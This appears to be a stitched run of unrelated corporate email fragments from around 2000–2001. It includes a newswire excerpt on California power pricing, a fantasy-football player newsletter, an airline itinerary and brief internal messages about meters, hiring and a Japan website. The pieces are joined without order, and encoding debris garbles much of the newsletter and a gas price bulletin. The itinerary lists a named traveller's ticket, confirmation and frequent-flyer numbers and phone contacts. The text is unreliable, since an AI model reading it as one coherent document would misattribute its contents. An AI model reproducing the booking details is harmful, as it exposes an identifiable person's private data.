according to one source. California utilities, Gov. Gray Davis, and various 
legislators and regulators have been blaming independent power generators - 
"out-of-state" companies that bought big generating stations from the 
utilities over the past three years - for market manipulation and price 
gouging. Those groups hope to build a case with the FERC that would force 
suppliers to refund some of their big gains this summer back to California's 
utilities and to the customers in the San Diego area, who have received high 
electric bills. 
Instead, the CalPX's preliminary report proposes corrections that are 
relatively modest, such as increasing demand responsiveness, removing 
barriers to new generation, proportionally allocating out-of-market purchase 
costs to the utilities that underscheduled power purchases and encouraging 
utilities to buy more power in the forward market. 
As ordered by state legislation to deregulate the electric utility industry 
in California, the regulated utility units of PG&E Corp (PCG), Edison 
International (EIX) and Sempra Energy (SRE) purchase the power they need one 
day in advance through the CalPX and make any last-minute purchases through 
the California ISO. 
   By Mark Golden, Dow Jones Newswires 
   201-938-4604; mark.golden@dowjones.com

?=20

Hi  Folks,

I gotta say  before I get started that Monday Night Football=01,s =01&Pack"=
 and=20
"Cats=018 in the  scoring box was one of the more annoying moves they=01,ve=
 made=20
this season.? =01&Cats=018?? That=01,s so  lame.

Enough of that,  let's jump right into our Upgraded and Downgraded  Players=
.?=20
As we head down the home stretch, identifying those  players moving up or=
=20
down can be the difference between making the playoffs or  watching from th=
e=20
sidelines.? As we  head into our 14th week of listing these players, it=01,=
s=20
inevitable  that some players will have made both the upgrade or downgrade=
=20
list.? Make sure you understand, what we=01,re  talking about is players th=
at=20
are moving.?  In other words, a player like TE Chad Lewis could appear on t=
he=20
downgrade  list and still be good enough to be a starter in your league.? I=
t=20
just means I=01,m concerned about the  way he seems to be heading.?  Likewi=
se, a=20
player like WR Willie Jackson may make the upgrade list even  though he=01,=
s=20
still fairly far down the list of WRs.? It=01,s all about which direction=
=20
players  are moving.? Keeping an eye on these  trends can very often make a=
ll=20
the difference.

Joe

?

Upgrades and  Downgrades.? Some of these  players are obvious moves up or=
=20
down and some aren't as clear.? Here's my  list of guys I see moving this=
=20
week.

QBs Moving  Up?

QB Kordell  Stewart (Pit)? Time to give props where props are  due.? Kordel=
l=20
looks like a new  man.? Actually, he looks like the  old Kordell.? The GOOD=
=20
old Kordell.  Over the last three weeks, he ranks as the # 5 QB in my=20
Performance / TD system  based on FF points per game.? Gotta  hand it to Bi=
ll=20
Cowher as it took some guts to bench the starting? WRs like that but Hines=
=20
Ward has  delivered.? It=01,s probably not the  best thing for Jerome Betti=
s=20
owners but Stewart=01,s 3 rushing TDs over the last 3  weeks are huge.?

QB Aaron  Brooks (NO)? Brooks made my upgrade list last week  and I put my=
=20
money where my mouth was outbidding the other owners in my league  to pick=
=20
him up? last week as a free  agent.? I said last week that we=01,d  see how=
 he=20
does with the pressure on all week.? Obviously, this is one cool kid.? If y=
ou=20
saw the footage of him in the  tunnel before the game he looked like he was=
=20
ready to go out and play a game of  flag football or something.? He made =
=20
some mistakes and fought back from adversity several times.? The obvious=20
comparison is a young  Randall Cunningham.? He=01,s skinny and  has a littl=
e bit=20
of those Cunningham crazy legs.? Plus he=01,s got a big arm with that whipp=
y =20
motion.? But the biggest thing that  impresses me about Brooks is his poise=
.?=20
 Grab him if he=01,s available in your league.?

I asked my  friend Tony Pauline from the TFY Draft Preview about Brooks.?=
=20
Tony had him ranked higher than Shaun  King before the draft. Here=01,s wha=
t the=20
1999 TFY Draft Preview had for  Brooks:? =20

AARON BROOKS  Virginia 6'3" 210 4.71

Fifth year senior who completed 54% of his passes  throwing for 2,319 yards=
,=20
12 touchdowns and nine interceptions and carrying the  ball 83 times for 23=
2=20
yards, averaging 2.8 yards per carry with five more  scores.? Led the ACC i=
n=20
passing efficiency two seasons ago, throwing for  57% / 2,282 / 20 / 7.? Go=
od=20
athlete who has shown great improvement in his  quarterback skills the last=
=20
season and a half.? Smooth and fluid, sets his  feet in the pocket, shows=
=20
good strength and stands his ground when being  rushed.? Has a live arm; ca=
n=20
thread a needle, throws ropes and his deep  passes have speed.? Effective=
=20
throwing on the run, squares his shoulders  and quickly releases the ball.=
=20
Eludes or side steps oncoming rushers, pulls the  ball down, running betwee=
n=20
the tackles.? While he has improved his accuracy  and places his passes wel=
l,=20
he often overthrows receivers.? The further  down the field or out to the=
=20
flanks he must get the ball, the more his accuracy  struggles.? Must do a=
=20
better job reading and recognizing defenses, stop  staring down his primary=
=20
target and not hold the ball so long while in the  pocket.? A player who=20
turned himself into a good prospect with a solid  senior campaign.? Mid to=
=20
late Sixth Round.?

Thanks  Tony.? Be sure to check out Tony=01,s  great info at=20
www.TFYDraftPreview.com?

QB Kurt  Warner? (StL)?? Warner=01,s chomping at the bit and has been named=
 the =20
starter this week relieving Trent Green.?  Keep an eye out on how he looks =
in=20
practice.? Coach Mike Martz said last week he was  concerned about Warner=
=01,s=20
grip strength and ability to put rotation on the  ball.? I=01,m thinking he=
=01,ll=20
be good to  go.?

QB? Donovan McNabb (Phi)? What  else can you say about this guy??  Take awa=
y=20
his running game??  No problem.? Give him WRs  that would? struggle to make=
=20
a  division I team? ?No problem.? He finds a way to get it done.? He looks =
to=20
me like he=01,s beginning to  reach the level of dominance he enjoyed at=20
Syracuse where he was  unstoppable.? It=01,s especially  impressive as team=
s=20
know what he=01,s going and still can=01,t stop him.? It should be noted th=
at=20
LaVarr Arrington  was injured early and he was the designated =01&spy=018 b=
ut=20
still, it was an  impressive performance against a very good Washington=20
defense.? I see little reason why he won=01,t  continue although he really =
needs=20
help at WR.?

QB Trent  Dilfer (Bal)? I said a couple of weeks ago that Dilfer  might pla=
y=20
the late season 1999 Tony Banks role as coach Brian Billick revives  anothe=
r=20
struggling? QB=01,s  career.? Dilfer seems very  comfortable with what Bill=
ick=20
is asking him to do and brings a little fire and  attitude to the offense=
=20
that had been missing.? I like what they=01,re doing and don=01,t see  why =
it won=01,t=20
continue.? Although  don=01,t forget they=01,re off this week.

QB Brad  Johnson (Was)? Jeff George yields to the young man from  Florida=
=20
State.? His knee is  reportedly good to go and he=01,s been cleared by the=
=20
trainers as fit to  start.? Considering the troubles the  team endured with=
=20
George at the helm, Johnson has already been named the  starter.? He=01,ll =
be=20
working with a  nicked WR corps so we=01,ll see how he fares.?

QB Ryan Leaf  (SD)? Kordell Stewart, Trent Dilfer and Ryan  Leaf?? You gott=
a=20
be kidding me.? But after another solid outing, you  can=01,t deny Leaf is=
=20
making plays.?  Granted, he still throws the ugly interception(s) and he ge=
ts=20
hurt almost  as much as Rob Johnson but the kid could make a difference for=
=20
you if you need a  spot QB.? He=01,s got one of the top 3  TEs in the game =
with=20
Freddie Jones and Curtis Conway and Jeff Graham are  veterans who can make =
a=20
difference.?  This win will have to buoy the spirits and  enthusiasm.

??

RBs Moving Up?

RB Mike  Anderson (Den)? Once is a coincidence.? Twice is a trend. You=01,v=
e got=20
to start  handing credit to Mike Shanahan, Offensive Coordinator Gary Kubia=
k,=20
and that  offensive line. Like everyone else, I marveled at the way Olandis=
=20
Gary was able  to run last year when Terrell Davis went down.? What a great=
=20
job of scouting we all  thought.? But hey, Gary was a pretty  highly touted=
=20
back.? But Mike  Anderson???? Anderson=01,s a  fine back but I=01,ve got to=
 believe=20
it=01,s a team deal here.? The good news is that Anderson=01,s team  isn=01=
,t going=20
anywhere without him and he looks to remain a factor while Terrell  Davis=
=20
recovers from the mystery lower leg ailment.? Watch this during the week, b=
ut=20
it  wouldn=01,t surprise me a bit to see Davis miss another game. ?And as l=
ong=20
as Anderson rolls up 195  rushing yards a game like he did Sunday, you won=
=01,t=20
see Shanahan crying over TD  being out.? Granted 80 of those  yards came on=
=20
one big run but he had a great game any way you slice  it.?

RB Jamal  Lewis (Bal)? I=01,ve been eating crow (Raven?) for a  while now a=
s I=20
was one of those guys not convinced Jamal Lewis would excel at  this level=
=20
after a very disappointing 1999 season at Tennessee.? Lewis is running like=
=20
he did as a  Freshman and Sophomore before the knee injury and he may have=
=20
the best blend of  speed and power in the league this side of Eddie George.=
?=20
Coach Brian Billick has the Raven  offense firing on all cylinders and Lewi=
s=20
remains a huge part of it.? His only down side is that he=01,s off this  we=
ek=20
with a bye.? But that week 16  matchup against Arizona is looking very=20
tasty=01(?

RB Corey  Dillon (Cin)? Considering what he does with that  surrounding cas=
t,=20
I could make a strong case that Corey Dillon is the best back  in the NFL.?=
=20
There have been few  passing attacks in recent memory as impotent as the=20
Bengals, yet Dillon  continues to pound out the yards when defenses know=20
exactly what=01,s coming at  them.? It=01,s amazing to watch.? I don=01,t k=
now how=20
long he can keep it up  but he=01,s got the woeful Cardinals this week and =
you=20
have to like  that.?

RB Warrick  Dunn (TB)? Dunn made the upgrade list last week in  the wake of=
=20
Mike Alstott=01,s knee injury and he delivered in a big way for his  owners=
=20
Sunday with 129 total yards including 2 TDs.? There was some talk about him=
=20
sharing  carries but he was the only guy besides QB Shaun King to run the=
=20
ball for Tampa  Bay.? Look for more of the same from  the Bucs and new=20
offensive coordinator Warren Sapp=01(? Seriously, Dunn showed he could hand=
le =20
20 rushing attempts and I think you=01,ll continue to see them go with what=
=01,s =20
working.? =20

RB Michael  Pittman (Ari)? Pittman may be the lone bright spot on  the=20
Arizona team.? I told you last  week that coach McGinnis loves the guy and=
=20
you saw the results last night as  Pittman rambled for 77 yards on only 13=
=20
carries (5.7 ypc)? Like Corey Dillon, the surrounding team  kills his value=
=20
but if he ran for a team that held a lead, he=01,d be awesome.? Unfortunate=
ly, I=20
don=01,t see Arizona  turning into such a team anytime soon so don=01,t get=
 too=20
excited.? But overall, I like the guy a  lot.?

RB Richie  Anderson (NYJ)? Each year, there are always unheralded  guys who=
=20
post nice numbers but remain well below the radar of many owners.? Many tim=
es=20
they are RBs who quietly post  yardage (and FF points) receiving the ball.?=
=20
Anderson is a prime example of one such  player this year (as?are Tony=20
Richardson and Stanley Pritchett)? He=01,s caught 15 passes over the last 3=
 =20
games and with Curtis Martin nursing a sore gluteus maximus, that trend wil=
l =20
likely continue.???

RB Robert  Holcombe (StL)? It doesn=01,t take a rocket scientist to  see th=
at=20
Marshall Faulk isn=01,t 100%.?  Red flags went up across the country when M=
ike=20
Martz elected to give  Holcombe that shot at the goalline Sunday.?  6 weeks=
=20
ago, that would have been Faulk=01,s carry all day long.? Holcombe looks to=
=20
benefit if Faulk=01,s  workload continues to be decreased.? =20

RB Brad  Hoover (Car)? Aside from having one of those cool  names the fans=
=20
can yell whenever he does something good, Hoover has shown to be  a capable=
=20
replacement for candybone Tshimanga Biakabutuka.? He doesn=01,t have the=20
physical tools of a  Biakabutuka but you can=01,t deny he hasn=01,t been=20
effective.? It wouldn=01,t surprise me a bit to see  Hoover continue to see=
=20
action.

??

WRs Moving Up

WR Marvin  Harrison (Ind)? Harrison stated before Sunday=01,s game  that he=
=20
needed to =01&get on a mission=018.?  Looked like he started towards that e=
nd with=20
2 TD catches and he could  have had another.? Yes, you=01,d like  to see mo=
re=20
than 4 catches but I=01,ll take 2 TDs any week.? Harrison=01,s biggest worr=
y is=20
that Peyton  Manning can stay calm enough not to strangle Jerome Pathon for=
=20
dropping easy  balls.? Harrison is fine and  actually looking better in my=
=20
eyes.?

WR Hines  Ward (Pit)? Does anyone else find it interesting to  see Kordell=
=20
Stewart throwing the ball to another =01&slash=018 type player in Hines  Wa=
rd??=20
Ward doesn=01,t have the name of  a Plaxico Burress but he=01,s certainly m=
ore=20
productive.? If I=01,m Burress, I=01,d be for finding a  baseball cap that =
I was=20
comfortable with=01(?

WR Amani  Toomer (NYG)? Toomer=01,s back in a big way.? He had us worried t=
here=20
for a stretch  earlier but he=01,s playing very well right now, especially =
with=20
Ike Hilliard  out.? QB Kerry Collins has settled  into a nice rhythm and=20
coach Jim Fassell is sticking his neck out guaranteeing a  playoff slot.?=
=20
Look for?Toomer  and Collins to be a big part of making that happen.

WR Sean  Dawkins (Ind)? With his size (6=01, 4=018 / 218 #) I=01,ve  always=
 wondered=20
why he isn=01,t better.?  He=01,s showing over the last few games that mayb=
e he=20
is.? Over the last 3 games, he rates as the #  5 WR in Fantasy Points per=
=20
game.? It  doesn=01,t seem to make a great deal of difference to him whethe=
r it=01,
s Jon Kitna or  Brock Huard throwing the ball, he just delivers.???

WR Peter  Warrick (Cin)Garbage time or not,  he scored another TD this week=
=20
and he=01,s a great gamble if you need to roll the  dice for a home run.? Y=
es,=20
he=01,s as  liable to go 2 for 18 as he is score a TD but sometimes, those =
are=20
the kinds of  gambles that pay big.? The team  reportedly was forcing him t=
o=20
see an eye doctor for contact lenses.? This could be like Charlie Sheen in =
=20
Major League with the new glasses.?  Seriously, if he=01,s had bad vision t=
hat=01,s=20
been limiting him, look out once  he gets the contacts.?

WR Joe  Jurevicius (NYG)? With Ike Hilliard out, Jurevicius got  all he eve=
r=20
wanted =01) a chance.? And  he=01,s making the most of it.? He=01,s  clearl=
y the #2 WR=20
behind Toomer but when this offense is clicking, the #2 guy  has definite=
=20
value.? Keep an eye on  Hilliard=01,s return but he could be a nice sub if =
you=01,
re in a  pinch.?

WR Willie  Jackson (NO)? Jackson is looking less =01&fluky=018 with  each g=
ame.??=20
He put together a  nice day Sunday with 4 catches for 64 yards.? Like=20
Jurevicius, he=01,s the clear cut # 2  receiver but he=01,s certainly valua=
ble.? =20
QB Aaron Brooks has surprised everyone and Jackson should continue to =20
benefit.?

WR R. Jay  Soward (Jac)? I=01,ll be honest, I really don=01,t like  Soward =
much but=20
you can=01,t dismiss the fact Mark Brunell seemed to almost be  forcing the=
 ball=20
to him on the long throws.? He=01,ll draw the weaker coverage (and  rightly=
 so)=20
when Jimmy Smith and Keenan McCardell are in the lineup so he could  have=
=20
some mismatches.? =20

??

TEs Moving Up?

TE Freddie  Jones (SD)? Jones is still under the radar of a few  owners as =
he=20
plays for the Chargers.?  Truth is,? he=01,s one of the  better receivers i=
n the=20
game and definitely the best receiver in San Diego.? He=01,s a nice big tar=
get=20
with soft hands  for new QB Ryan Leaf.? He=01,s had 11  receptions over the=
 last=20
3 games.?

TE Jay  Reimersma (Buf)? Reimersma=01,s returning to the player we  knew he=
=20
could be.? With 5 receptions  for 82 yards Sunday, he=01,s a vital part of =
the=20
offense. ?With WRs Peerless Price and Jeremy  McDaniel not doing much, it=
=01,s=20
pretty much Eric Moulds and  Reimersma.

TE David  LaFluer (Dal)? With Jackie Harris nursing a sprained  knee, LaFlu=
er=20
seized the opportunity and put together an excellent game with 6  catches f=
or=20
45 yards and a TD.? Keep  an eye on Harris but this could be a trend.

TE Anthony  Becht (NYJ)? Becht earns the upgrade just for the  beautiful=20
diving TD catch Sunday.?  At this point in the season, rookies aren=01,t re=
ally=20
rookies any more as  most have enough experience that they=01,re learning t=
he=20
ropes.? Becht appears to be a fast learner and  could give this team a huge=
=20
boost with solid TE  play.

??

QBs Moving Down?

QB Jeff  George (Was)? Audition time is over.? Didn't you have the feeling=
=20
owner Danny  Snyder would have loved for his pet QB George to go wild befor=
e=20
Brad Johnson  sits down to the negotiating table to talk about next year (i=
f=20
they ever do  that)? Instead, he looked very  average and even a little bit=
=20
old.?  Brad Johnson will get the start this week.? You never know with knee=
=20
injuries so  George certainly still has value, just nothing like he did as =
a =20
starter.

QB Trent  Green (StL)? Chris Berman made a great point last  night on ESPN=
=01,s=20
Prime Time.? Trent  Green is a nice player but let=01,s forget this talk ab=
out=20
him being the same  player as Kurt Warner.??  Another loss for the Rams=20
pretty much guaranteed we=01,ll see Warner this  week.? The Rams are sudden=
ly =20
fighting for their lives and it won=01,t be Green behind center.?

QB Shane  Matthews (Chi)? The University of Florida has a great  program an=
d=20
always places a large number of players at the next level but  Matthews loo=
ks=20
to be another shot putting QB that simply can=01,t deliver the ball  at thi=
s=20
level.? It=01,s a testament to  coach Steve Spurrier that he can devise sys=
tems=20
to make guys like Matthews and  Danny Wuerffel look great in college becaus=
e=20
they clearly lack the talent.? Put it this way, Matthews has Bears fan =20
wishing Cade McNown will get back soon=01(

QB Drew  Bledsoe (NE)? Whether it=01,s the thumb or the WRs or the  play=20
calling, Bledsoe is struggling.?  I used to blame this on Bill Belichick=20
coming up with a Jets defense that  shattered Bledsoe=01,s confidence and t=
hrew=20
him into a tailspin this time of year  but now I=01,ll have to start lookin=
g for=20
other theories.?? As Terry Glenn said, =01& it felt  like the defense knew=
=20
exactly what we were going to do=018.? That=01,s bad for a Thursday  game.

??

RBs Moving Down?

RB Emmitt  Smith? (Dal)? As you  probably saw, Emmitt was knocked out for a=
=20
moment during the Thanksgiving Day  game.? Check his status this  week.? Ev=
en=20
100%, he faces a tough  stretch of games to finish the season against Tampa=
=20
Bay, Washington, New York  Giants, and Tennessee.?

RB J.J.  Johnson (Mia)? Johnson had a nice game Sunday but early  indicatio=
ns=20
are that Lamar Smith will be ready to play this week and that means  Johnso=
n=20
takes a seat.?

RB Jamal  Anderson (Atl)? It looks to me like the Falcons are very  close t=
o=20
packing it in.? He may be  worth one more start against the porous Seattle=
=20
defense this week but after  that, he=01,s got a bye and then New Orleans.?

RB Marshall  Faulk (StL)? Understand, he=01,s still a top RB, but I think h=
is =20
value is clearly falling a bit.? He  looks less than 100% but the most=20
telling indicator by far was the Robert  Holcombe goalline carry.? 6 weeks =
=20
ago, no way does Holcombe get that carry.?  He=01,s still a must start and=
=20
Warner will likely help his stock but I=01,m a  little worried.?

RB Curtis  Martin (NYJ)? The weather conditions made it tough to  get a tru=
e=20
picture of Martin=01,s health but it was pretty easy to see he wasn=01,t  1=
00%=20
Sunday.? Between Bernie  Parmalee and Richie Anderson, coach Al Groh has=20
plenty of options and he doesn=01,t  hesitate to go with them.?

RB Jermaine  Fazande (SD) ?The big guy yields to Terrell Fletcher  and look=
s=20
to have lost his starting job.?  Not a huge loss as I doubt you were counti=
ng=20
on him for too much  anyway.

??

WRs Moving Down?

WR Yancey  Thigpen (Ten)? Drop this guy if you haven=01,t  already.? He mis=
ses=20
games with a  myriad of injuries and when he does see the field, he manages=
=20
to drop key  passes=01(?

WR Marcus  Robinson (Chi)? One has to wonder what could have been  with Jim=
=20
Miller healthy.? Shane  Matthews managed to get the ball to his best WR a=
=20
whopping one time Sunday.? That will not do.?=20

WR Sylvester  Morris (KC)? Morris has been especially disappointing  as one=
=20
usually expects rookies to progress during the season but he seems to be =
=20
going the other way.? Over the last  3 weeks, he ranks as the # 81 WR in my=
=20
TD / Performance system.? Part of that can be attributed to Elvis  Grbac /=
=20
Warren Moon but he=01,s not playing well right now.?

WR Terance  Mathis (Atl)? Mathis ranks # 72 among WRs over the  last 3 game=
s=20
in my TD / Performance system.? That=01,s not what you=01,re looking for fr=
om  a #=20
1 WR, even if it is the Falcons.???

Eagle  WRs? These guys are just not very good.? I had especially high hopes=
=20
for Charles  Johnson this year but he=01,s not getting it done.???

WR Wayne  Chrebet (NYJ)? As sick as I was of Keyshawn Johnson  whining abou=
t=20
Chrebet not being a #1 WR, it looks he may have had a point.? Chrebet just=
=20
doesn=01,t have the speed or  physical size to make a? consistent  impact w=
hen=20
defenses choose to take him out of the game.? I love the guy and admire his=
=20
grit and  determination but he struggles against double coverage.? And most=
 #=20
1 WR face double  coverage=01(?

?

TEs Moving Down

TE Andrew  Glover (NO)? A rising tide is supposed to lift all  boats but=20
nobody told Glover about that little axiom.? The Saints continue to roll in=
=20
spite of  a virtually non existent TE.? =20

TE Jackie  Harris (Dal)? Keep an eye on Harris as he sprained a  knee Sunda=
y=20
and gave way to David LaFluer catching a ton of passes.?=20

TE Ricky  Dudley (Oak)? He=01,s maybe the most frustrating player  in the g=
ame.?=20
As soon as you bench  him, he=01,ll catch 2 TDs but I don=01,t know how man=
y more 1=20
reception days I can  take from this guy.? =20

you will check in with CO and they will reissue your tkt at the airport. If
you have any questions, please let me know.

Thanks,
Heather

                                          AGENT AA/HM BOOKING REF YVEGYS

                                          TAYLOR/MARK E
                                          EB 3889
  ENRON CORP

  DATE:  SEP 24 2001

CONTINENTAL AIRLINES  18OCT HOUSTON TX     MINNEAPOLIS MN 700P    948P
CO 616     T          THU   G.BUSH INTERCO ST PAUL INTL
                            TERMINAL C     TERMINAL L
                            RESERVATION CONFIRMED         2:48 DURATION

NORTHWEST AIRLINES    18OCT MINNEAPOLIS MN MOLINE IL      920P    1035P
NW 5626    V          THU   ST PAUL INTL   QUAD CITY
           NON SMOKING      TERMINAL L
                                                          NON STOP
                            RESERVATION CONFIRMED         1:15 DURATION
                            FLIGHT OPERATED BY 9E EXPRESS AIRLINES
                  AIRCRAFT: CANADAIR REGIONAL JET
                            SEAT 05B NO SMOKING CONFIRMED TAYLOR/MARKE(ID

NORTHWEST AIRLINES    21OCT MOLINE IL      MINNEAPOLIS MN 1035A   1215P
NW 2788    V          SUN   QUAD CITY      ST PAUL INTL
           NON SMOKING                     TERMINAL L
                                                          NON STOP
                            RESERVATION CONFIRMED         1:40 DURATION
                            FLIGHT OPERATED BY XJ MESABA AIRLINES
                  AIRCRAFT: SAAB SF340A/340B
                            SEAT 10A NO SMOKING CONFIRMED TAYLOR/MARKE(ID

NORTHWEST AIRLINES    21OCT MINNEAPOLIS MN HOUSTON TX     123P    409P
NW 1022    V          SUN   ST PAUL INTL   G.BUSH INTERCO
           NON SMOKING      TERMINAL L     TERMINAL B
                                                          NON STOP
                  AIRCRAFT: AIRBUS INDUSTRIE A319
                            SEAT 06C NO SMOKING CONFIRMED TAYLOR/MARKE(ID
                YOUR ETKT CONFIRMATION NUMBER IS: M7YZY2
               THIS IS A NON-REFUNDABLE FARE THAT REQUIRES
               TRAVEL ON THESE SPECIFIC DATES AND FLIGHTS.
               ANY CHANGES WILL RESULT IN A PENALTY AND/OR
                         ADDITIONAL COLLECTION.
           **************************************************
         YOUR TICKET REFLECTS A NEGOTIATED DISCOUNT FROM THE TAP
              THE PUBLISHED FARE FOR THIS TICKET IS $291.00

MISCELLANEOUS         18FEB HOUSTON TX

RESERVATION NUMBER(S)  CO/VYVNKX  NW/M7YZY2

TAYLOR/MARKE  S0C0413R1056               TICKET:NW/ETKT 012 7033562049

NW  FREQUENT FLYER COSC471253
ASSISTANT: HOLLY KEISER 713-345-7893
THIS IS THE PASSENGER RECEIPT FOR YOUR ELECTRONIC TICKET.
YOUR ETKT CONFIRMATION NUMBER IS: M7YZY2
****************************************************

Heather M Davis
Have a great day =)
The Travel Agency in the Park
heather.davis@travelpark.com
713 860 1179 (direct line)
713 860 1879 (direct fax)
***************************

---------------------- Forwarded by Nicholas O'Day/AP/Enron on 09/20/2000 

Nicholas O'Day
09/20/2000 05:22 PM

Subject: Enron Japan website

Mark,

As foreshadowed last week, we gave a presentation to Mark Palmer this morning 
on the proposed Enron Japan website. Mark will be briefing Steve Kean 
tomorrow. We ran through a few background slides set out in the presentation 
and then went through the development site - dev.enron.co.jp. A copy of the 
presentation is attached.

In broad terms, we covered the following:

Why we are building the site
Who we are targeting
Reinforced that the site is commercially focused -  not brochure ware
Reinforced that the amount of material on the site is manageable and that we 
had procedures in place to regularly update the site
Sought ongoing support for new material.

I attach first drafts of articles which we propose including in the 
regulatory section . You can also view these articles in draft on the 
website  -  entry via the homepage pictures or in the Japan Market page.

 We clearly need to conform the graphs and recheck the facts and figures with 
a fine tooth comb. With that in mind, I would welcome your input on the 
content and the list of proposed future articles - set out on page 8 of the 
presentation.

We are proposing to have the website up and running by mid October with a 
view to launching the site to the public on 31 October, the date of the 
office opening. Between now and then we need to tidy up the drafts, translate 
them and then get sign off from PR, legal and Enron's web master.

I will try to give you a call  later today to briefly discuss.

kind regards 

Attached is the redline with the changes we discussed this morning.

I left a message.  He is out of the office until tomorrow.  Will keep you 
apprised.

Oxley and I will come up with a first stab at the option grants.

John

Jeff,

I am trying to project the next month with NIC (and announcements, etc) and want to determine what would provide the greatest impact for us.  We will be discussing the budget tomorrow and I'd like to also determine when we can review our draft MOU with you and Mike.  We plan to show this to NIC by Thursday of this week.  Still plan on being over the week after next.

Joe

trading:  I'd like to set up a time to speak with you about this.  I also interviewed Brad McKay and Gregg Cooper.  I have asked HR to make sure that these guys come and speak with you as well (this week).

Sent:	Saturday, October 06, 2001 12:05 AM
To:	Hirl, Joseph
Cc:	Mcconnell, Mike
Subject:	

Hi Joe,

I would like to get over to Tokyo by year's end, and would like to know when it would be optimal for me to come.  

Also, I talked to Geoff Storey yesterday.  I think he has made contact with you, as well.  He is interested in the risk management postion in Tokyo, and he would be a great candidate for the job.  He lived in Tokyo and liked it.  

Let's set up a time to talk about him and figure out exactly what we could do.

Jeff

What do you think?  He came very highly recommended from Amanda via voicemail.
m
---------------------- Forwarded by Mike McConnell/HOU/ECT on 12/19/2000 
10:05 AM ---------------------------
From: Amanda K Martin@AZURIX on 12/18/2000 05:15 PM
Sent by: Susan Kalich@AZURIX
To: Ken Rice/Enron Communications@Enron Communications, Mike 
McConnell/HOU/ECT@ECT, Jeffrey McMahon/HOU/ECT@ECT
cc: Dorothy Dalton/Enron Communications@Enron Communications 
Subject: Resume - David Pruner

As per our talks and voice mails.  Thanks -

                         AKM/sak

I am not sure who should handle this, so, I shared the "wealth".  On deal 
ticket 133259, purchase from Calpine, the deal is input at meter 4229, which, 
per the email below, was terminated.  I have an unresolvable UA4 issue at 
meter 4229 for September and for October.  I have changed the meter 
designation for November forward, however, I receive an error in Sitara when 
I attempt to change either the prior or current month.  This deal should have 
been changed to meter 6835 effective back in February of this year.  Please 
let me know what I can do to resolve this issue ASAP. 

Thanks,

Mary
---------------------- Forwarded by Mary Poorman/NA/Enron on 10/23/2000 02:01 
   
	From:  Cheryl Jones                           10/03/2000 08:55 AM
	
To: Katherine Benedict/HOU/ECT@ECT, Mary Poorman/NA/Enron@Enron
cc:  

Subject: Meter 984229 - Roos Common Point - Trade Zone 18

I just talked to the tech-Bobby Husky and he confirmed that meter 984229 has 
been removed. Now the other roos station is 986835.

Thanks,
C.J. x67787
---------------------- Forwarded by Cheryl Jones/GPGFIN/Enron on 10/03/2000 

Katherine Benedict@ECT
09/20/2000 10:01 AM
To: Cheryl Jones/GPGFIN/Enron@ENRON, Mary Poorman/NA/Enron@Enron
cc:  

Cheryl,

FYI  - Here is the message from Mary Poorman in Logistics.  

Mary,

Cheryl is going to call the field and find out if this meter should still be 
included on the termination list and also see if the field people see any gas 
flow on the meter.

Thanks,

Kathy

---------------------- Forwarded by Katherine Benedict/HOU/ECT on 09/20/2000 

Mary Poorman@ENRON
09/20/2000 09:48 AM
To: Robert Cotten/HOU/ECT@ECT, Vance L Taylor/HOU/ECT@ECT
cc: Katherine Benedict/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Kathy and I are trying to clean up an unaccounted for issue at the above 
referenced meter.  The system (Pops) does not show a BAV flow or an actual 
flow for prior months.  Kathy phoned measurement to inquire about Mips 
volumes and was informed that this meter is on a disabled status list back to 
February, 2000.  I am showing a purchase from Calpine at this meter (deal 
ticket 133259) on gathering agreement 

I would greatly appreciate your help in determining the current status of 
this meter and this deal.  Please forward any information you may have.

Thank you for your time and patience,

Mary

                                                                           =
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                                                            =20
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                                                                           =
                                                                           =
                                                                           =
                   Firm Physical Natural Gas Price Bulletin                =
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                                            =20
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                                                                           =
                                                                           =
                   For Natural Gas Delivered on Tuesday, November  27, 2001=
                                                                           =
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                                                                  =20
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                                                                           =
                                   (Trade Date of Monday, November  26, 200=
1)                                                                         =
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                          =20

I agree.  This is not a big enough dollar issue for them to make a huge 
stink, is it?  If it is, can't we match them stink for stink with all the 
imbalance penalties we have forgiven in the past?  DF

	From:  Mary Kay Miller                           04/21/2000 02:15 PM
	
To: Lynn Blair/ET&S/Enron@ENRON, Kent Miller
cc: Mary Darveaux/ET&S/Enron@ENRON, Julia White/ET&S/Enron@ENRON, Joni 
Bollinger/ET&S/Enron@ENRON, Loren Penkava/ET&S/Enron@ENRON, Drew 
Fossum/ET&S/Enron@ENRON, Glen Hass/ET&S/Enron@ENRON, Larry 
Berger/ET&S/Enron@ENRON, Pamela Carter/ET&S/Enron@ENRON, Lynn 
Blair/ET&S/Enron@ENRON 

Subject: Re: UCU PPA Tiering Issue  

Based on the above, it seems that the decision to advise them we can't retier 
still stands.  Isn't there a way to give them the $30,000 of value in another 
manner which doesn't make us file for waiver? Alternatively, we have given up 
more than this in the past to resolve their errors, don't adjust?   We can 
still tell them we plan to address in our Order 637 filing-  MK

   Lynn Blair                04/21/2000 10:07 AM

To: Mary Kay Miller/ET&S/Enron@ENRON, Mary Darveaux/ET&S/Enron@ENRON, Julia 
White/ET&S/Enron@ENRON, Joni Bollinger/ET&S/Enron@ENRON, Loren 
Penkava/ET&S/Enron@ENRON, Drew Fossum/ET&S/Enron@ENRON, Glen 
Hass/ET&S/Enron@ENRON
cc: Larry Berger/ET&S/Enron@ENRON, Pamela Carter/ET&S/Enron@ENRON, Lynn 

Subject: UCU PPA Tiering Issue

For PPA's in November, 1999, December, 1999, January, 2000 and February,
2000, the UCU issue of tiering is only with the November, 1999 PPA of
$30,475.61. All other PPA's are at Tier 1.

Please let me know if you have any questions.  Thanks. Lynn

Dave:
Just wanted to remind you about the call I received from Paul Cavicchi with 
Tractebel.  He was calling to ask about an extention to the bidding on the 
assets.  I basically said that there are no extentions except for bids that 
are strong bids that come in on Monday or Tuesday of next week.  He sounded a 
little disappointed that they got the book so late, but still seemed 
interested in the assets.  Hope this helps. 
Ben

I spoke with Tom May our new Financial trader-- he helped me with these.

AP=Allegheny Energy Supply Company, LLC (formerly Allegheny Power)

SCEM=Southern Company Energy Marketing, LP

NEV=NewEnergy, Inc

Edison Mission Marketing and Trading Inc.

Hope this helps!

Amy-3-7646

Hi Vince,
Just a note to confirm our meeting on Wednesday at 3:30pm.
Best setup would include a portable projector for my notebook.
I don't know how many people other than yourself you want to have at the 
meeting.
If it's only yourself, we could use a monitor on a conference table in place 
of the projector, if that's better for you.
Looking forward to seeing you.
Bob Brooks

Tammy

Come and see me first thing.  The gas section is way long and complicated.

